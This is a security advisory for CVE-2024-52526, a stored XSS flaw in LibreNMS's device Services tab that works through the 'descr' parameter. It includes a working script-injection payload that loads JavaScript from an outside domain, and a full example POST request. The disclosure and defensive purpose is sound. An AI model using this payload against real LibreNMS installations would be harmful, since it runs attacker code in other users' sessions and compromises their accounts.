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Security Advisories: GSA_kwCzR0hTQS04Zmg0LTk0MnItamYyZ84ABBab
LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/services.inc.php
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Services" tab of the Device page allows authenticated users to inject arbitrary JavaScript through the "descr" parameter when adding a service to a device. This vulnerability could result in the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and enabling unauthorized actions.
Details
When creating a device through the "edit device -> services" workflow (example path: "/device/15/edit/section=services"), the attacker can inject an XSS payload in the "descr" parameter. This payload is reflected in the "Services" tab of the device (URL: "/device/15/services"). It is important to note that the vulnerability does not exist when creating devices through the normal "Add Service" interface (created through the ajax_form.php request with the "type=create-service").
The payload used to exploit this vulnerability is:
Descr'"><script/src=//15.rs></script>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The root cause is the application's failure to sanitize the "descr" parameter before outputting it in the HTML. The sink is as follows:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/services.inc.php#L87
PoC
- Create a service for a device using the following payload in the "descr" parameter:
Descr'"><script/src=//15.rs></script>
- Save the service.
- Navigate to the "Services" tab of the device.
- Observe that the injected script executes in the "Services" tab.
Example Request:
POST /device/15/edit/section=services HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>
_token=<your_token>&name=Name'"><script/src=//15.rs></script>&addsrv=yes&device=15&type=pollen&descr=Descr'"><script/src=//15.rs></script>&ip=IP'"><script/src=//15.rs></script>¶ms=Params'"><script/src=//15.rs></script>&Submit=
Impact
This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Services" tab of the device. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.
Permalink: https://github.com/advisories/GHSA-8fh4-942r-jf2gJSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04Zmg0LTk0MnItamYyZ84ABBab
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 25 days ago
Updated: about 8 hours ago
CVSS Score: 7.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L
EPSS Percentage: 0.00045
EPSS Percentile: 0.15514
Identifiers: GHSA-8fh4-942r-jf2g, CVE-2024-52526
References:
- https://github.com/librenms/librenms/security/advisories/GHSA-8fh4-942r-jf2g
- https://nvd.nist.gov/vuln/detail/CVE-2024-52526
- https://github.com/librenms/librenms/commit/30e522c29bbb1f9b72951025e7049a26c7e1d76e
- https://github.com/advisories/GHSA-8fh4-942r-jf2g
Blast Radius: 2.3
Affected Packages
packagist:librenms/librenms
Dependent packages: 1Dependent repositories: 2
Downloads: 51,111 total
Affected Version Ranges: <= 24.9.1
Fixed in: 24.10.0
All affected versions: 1.20.1, 1.22.1, 1.30.1, 1.31.1, 1.31.2, 1.31.3, 1.32.1, 1.33.1, 1.36.1, 1.42.1, 1.48.1, 1.50.1, 1.53.1, 1.58.1, 1.62.1, 1.62.2, 1.64.1, 1.65.1, 1.70.0, 1.70.1, 21.1.0, 21.2.0, 21.3.0, 21.4.0, 21.5.0, 21.5.1, 21.6.0, 21.7.0, 21.8.0, 21.9.0, 21.9.1, 21.10.0, 21.10.1, 21.10.2, 21.11.0, 21.12.0, 21.12.1, 22.1.0, 22.2.0, 22.2.1, 22.2.2, 22.3.0, 22.4.0, 22.4.1, 22.5.0, 22.6.0, 22.7.0, 22.8.0, 22.9.0, 22.10.0, 22.11.0, 22.12.0, 23.1.0, 23.1.1, 23.2.0, 23.4.0, 23.4.1, 23.5.0, 23.6.0, 23.7.0, 23.8.0, 23.8.1, 23.8.2, 23.9.0, 23.9.1, 23.10.0, 23.11.0, 24.1.0, 24.2.0, 24.3.0, 24.4.0, 24.4.1, 24.5.0, 24.6.0, 24.7.0, 24.8.0, 24.8.1, 24.9.0, 24.9.1
All unaffected versions: 24.10.0, 24.10.1, 24.11.0